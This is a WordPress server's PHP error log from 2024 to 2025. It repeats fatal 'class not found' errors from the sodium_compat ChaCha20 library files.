[19-Sep-2024 20:21:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[10-Nov-2024 10:38:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[10-Nov-2024 10:39:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-Nov-2024 09:49:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-Nov-2024 09:50:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[16-Nov-2024 04:25:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[16-Nov-2024 04:25:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[17-Nov-2024 02:12:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[17-Nov-2024 02:12:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Nov-2024 00:33:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Nov-2024 00:33:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Feb-2025 02:14:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Feb-2025 02:14:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[22-Feb-2025 06:19:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[22-Feb-2025 06:20:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[29-Mar-2025 10:00:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[29-Mar-2025 10:00:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-May-2025 09:59:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-May-2025 09:59:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-May-2025 09:59:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-May-2025 09:59:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-May-2025 09:59:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-May-2025 09:59:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-May-2025 09:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-May-2025 09:59:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:01:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 12:01:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 12:01:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 12:01:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 12:01:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:01:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:01:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:01:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:31:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:31:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:31:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 14:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 14:31:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-May-2025 14:31:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[18-Jun-2025 16:54:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[18-Jun-2025 16:54:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Jul-2025 09:09:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[19-Jul-2025 09:09:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[20-Aug-2025 23:26:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[20-Aug-2025 23:26:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[21-Aug-2025 21:35:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[21-Aug-2025 21:36:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:27:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:27:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[26-Aug-2025 06:36:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:36:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[04-Sep-2025 00:45:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[04-Sep-2025 00:45:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[04-Sep-2025 01:03:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[04-Sep-2025 01:03:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Sep-2025 01:56:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Sep-2025 01:56:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Sep-2025 02:04:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Sep-2025 02:04:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[09-Sep-2025 17:46:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[09-Sep-2025 17:46:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[09-Sep-2025 17:57:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[09-Sep-2025 17:57:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-Sep-2025 15:09:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-Sep-2025 15:09:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-Sep-2025 15:18:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-Sep-2025 15:18:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[18-Sep-2025 17:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[18-Sep-2025 17:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Sep-2025 06:36:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[19-Sep-2025 06:36:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[19-Sep-2025 06:49:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[19-Sep-2025 06:49:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[22-Sep-2025 12:45:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[22-Sep-2025 12:45:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[22-Sep-2025 13:00:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[22-Sep-2025 13:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
